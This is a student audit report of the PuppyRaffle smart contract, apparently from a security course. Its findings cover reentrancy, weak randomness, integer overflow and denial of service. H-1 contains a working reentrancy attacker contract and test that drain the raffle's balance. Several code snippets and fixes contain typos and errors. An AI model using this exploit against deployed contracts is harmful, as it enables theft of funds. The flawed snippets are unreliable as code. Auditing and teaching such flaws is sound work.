Prepared by: Alberto G.F Lead Auditors:

- Result of the Smart Contract security learning course

Table of Contents

    * [G-2] Storage variable in a loop should be cast
  - Informational/Non-critics
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using a outdated version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
|--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

...

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Total	16

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entratn to d

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The `PuppleRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a results, enalbles participants to drain the contratct balance.

In the 'PuppyRaffle::refund function, we firts make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRuflle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicius participant.

Proof of Concept:

1. User enters the raffle
2. Attacker set up the contract with a fallback function that calls `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code Test

```
    function test_reentrancy() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee*4}(players);
        reentrancyAtacker atackerContract = new reentrancyAtacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser,1 ether);

        uint256 startingAttack = address(atackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        atackerContract.atack{value: entranceFee}();

        console.log("Starting contrato atacker", startingAttack);
        console.log("Starting contrato atacker",
            startingContractBalance);

        console.log("Ending contrato atacker", address(atackerContract)
            .balance);
        console.log("Ending user atacker", address(puppyRaffle).balance
            );
    }
```

And this contract as well

```

    contract reentrancyAtacker{
        PuppyRaffle raffle;
        uint256 entranceFee;
        uint256 attackerIndex;
        constructor(PuppyRaffle r){
            raffle = r;
            entranceFee = raffle.entranceFee();
        }
        function atack() external payable {
            address[] memory players = new address[](1);
```

```
12              players[0] = address(this);
13              raffle.enterRaffle{value:entranceFee}(players);
14              attackerIndex = raffle.getActivePlayerIndex(address(this));
15              raffle.refund(attackerIndex);
16          }
17          function stealMoney()internal {
18              if(address(raffle).balance >= entranceFee){
19                  raffle.refund(attackerIndex);
20              }
21          }
22          fallback() external payable {stealMoney();}
23          receive() external payable{stealMoney();}
24
25  }
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the `players` array before making the external call. Additionally, we should move the event

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence the winning puppy (2-FINDINGS)

Description: Hashing ‘`msg.sender`, `block.timestamp`, and `block.difficulty` togheter creates a predictable find number. A preditable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner

Impact: Any user can influence the winner of the ruffle, winning of the raffle, winning the money and selecting the `rarity` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp`, and `block.difficulty` and use that to predict when/how to participate. See the [Solidity blog on https://soliditydeveloper.com/prevrandao]. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in thir address being used to generated the winner!
3. Users can revert their ‘`selectWinner` transaction if they don’t like the winner or resulting puppy

Using on-chain values as a randomness seed is a well-documented attack vector

```
1  uint256 winnerIndex =
2              uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
3          address winner = players[winnerIndex];
```

Recommended Mitigation: Consider using a cryptograhpically privablen random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to interger overflows.

```
1      uint64 v = type(uint64).mac;
2      //18446744073709551615
3      v += 1;
4      //v will be 0
```

Impact: In PuppyRaffle::selectWinner, totalfees`are accumulated for the`feeAddress`to collect later in ``PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may no collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conlcude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclune the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 //aka
3 totalFees = 800000000000000000 + 17800000000000000000;
4 //and this causes overflow
5 totalFees = 153255926290448384;
```

4. You not will be able to withdray, dude to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000
        console.log("start total fees", startingTotalFees);

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Altough you could yse `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be to much `balance` in the contract that the above `require` will be imposible to hit.

```
selfdestruct(payable(address(target)));
```

Recommended Mitigation: There a few possible mitigations.

1. Use a newer version of solidity, and `uint256` insead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OppenZeppelin for verision 0.7.6 of solidity, however you woyld still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 -         require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless

---

MEDIUM

[M-1] Looping thought players array to check duplicates in `PuppyRuffles::enterRuffle` is a potential denial of service (DoS) attack incrementing the gas costs for the future entrants

- IMPACT: MEDIUM
- LIKELIHOOD: MEDIUM

Description: The `PuppyRuffles::enterRuffle` loops though the `players` array to check for duplicates. However, the longer the `PuppyRuffles::players` array is, the more checks a new playuer will have to make. This means the gast cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entranrs will greatly increase as more players enter the raffle Discoruraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRuffles::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the cost of gas will be as such: Gas cost of the first 100 players: 6252048 Gas cost of the second 100 players: 18068138

This is more than x3 more expemsive for the second 100 players.

```
1 // @audit DoS attack
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
            }
        }
```

Our test

PoC

```
    function test_dos() public {
        vm.txGasPrice(1);
        uint256 num = 100;
        //First 100 players
        address[] memory a = new address[](100);
        for (uint256 i = 0; i < a.length; i++) {
            a[i] = address(i);
        }
        uint256 gasSt = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * a.length}(a);
        uint256 gasEnd = gasleft();
        uint256 gasUsed = (gasSt- gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsed);
        //SECOND TIME
        address[] memory a2 = new address[](100);
        for (uint256 i = 0; i < a2.length; i++) {
            a2[i] = address(i+num);
        }
        uint256 gasSt2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * a.length}(a2);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsed2 = (gasSt2- gasEnd2) * tx.gasprice;
        console.log("Gas cost of the second 100 players:", gasUsed2);
        assert(gasUsed < gasUsed2);
    }
```

Recommended Mitigation: There a few recomendations:

1. Consider allowing duplicates -> Users can make new wallet addresses anyways,so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallets address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup

```
+ mapping(address => uint256) public addressToRaffleId
+ uint256 public raffleId = 0;
 function enterRaffle(address[] memory newPlayers) public payable {
     require(msg.value == entranceFee * newPlayers.length, "
        PuppyRaffle: Must send enough to enter raffle");
     for (uint256 i = 0; i < newPlayers.length; i++) {
         players.push(newPlayers[i]);

+        addressToRaffleId(newPlayers[i]) = raffleId;
```

```
9         }
10  - //Check for duplicates
11  + //Check for duplicates only from the new players
12  +         for (uint256 i = 0; i < newPlayers.length; i++) {
13  +         require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
14  +         }
15  -         for (uint256 i = 0; i < newPlayers.length; i++) {
16  -             for (uint256 j = 0; j < newPlayers.length; h++) {
17  -                 require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
18  -             }
19  -         }
20            emit RaffleEnter(newPlayers);
21        }
22
23        function selectWinner() external{
24  +         raffleId = raffleId+1;
25            require(block.timestamp >= raffleStartTime+raffleDuration
                ,"PuppyRuffle: Ruffle not over");
26        }
```

Reading from storage: expensive than Reading from a constant or inmutable variable

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is a responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check an lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 1O smart contrat wallet enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entratns (not recomended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves witha new `claimPrize` function, putting the owness on the winner to claim their prize

> Pull over push

LOW

[L-1] `PuppyRuffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array

```
// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
 return 0;
```

Impact: A player at index 0 incorreclty think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enter the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly dye to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not in active.

GAS

[G-1] Unchanged state variables should be declared constatn or inmutable

Instances: `PuppyRuffle::raffleDuration` should be `inmutable` `PuppyRuffle::commonImage` should be `inmutable` `PuppyRuffle::rareImageUri` should be `inmutable` `PuppyRuffle::legendaryImageUri` should be `inmutable`

[G-2] Storage variable in a loop should be cast

Everytime you call `players.lenght` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playerLenght = players.lenght
-        for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Informational/Non-critics

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using a outdated version of Solidity is not recommended.

Please use a updated version . (From: https://github.com/crytic/slither/wiki/Detector-Documentation)

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 66 “‘javascript

```
  constructor(){
  //...
      feeAddress = _feeAddress;
  }
```

  “‘

- Found in src/PuppyRaffle.sol Line: 206

```
    previousWinner = winner; //vanity, doesn't matter much
```

- Found in src/PuppyRaffle.sol Line: 241

```
function changeFeeAddress(address newFeeAddress) external
    onlyOwner {
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

Solution:

```
+       require(addressToCheck != address(0), "PuppyRaffle: That
    address cannot be zero");
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in codebase, and it's much more readable if the numbers are given a name

Examples

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAJE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

Everytime you want to change a state, emit a event to communicate to the other contract

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The declaration of an unused function is a waste of gas.
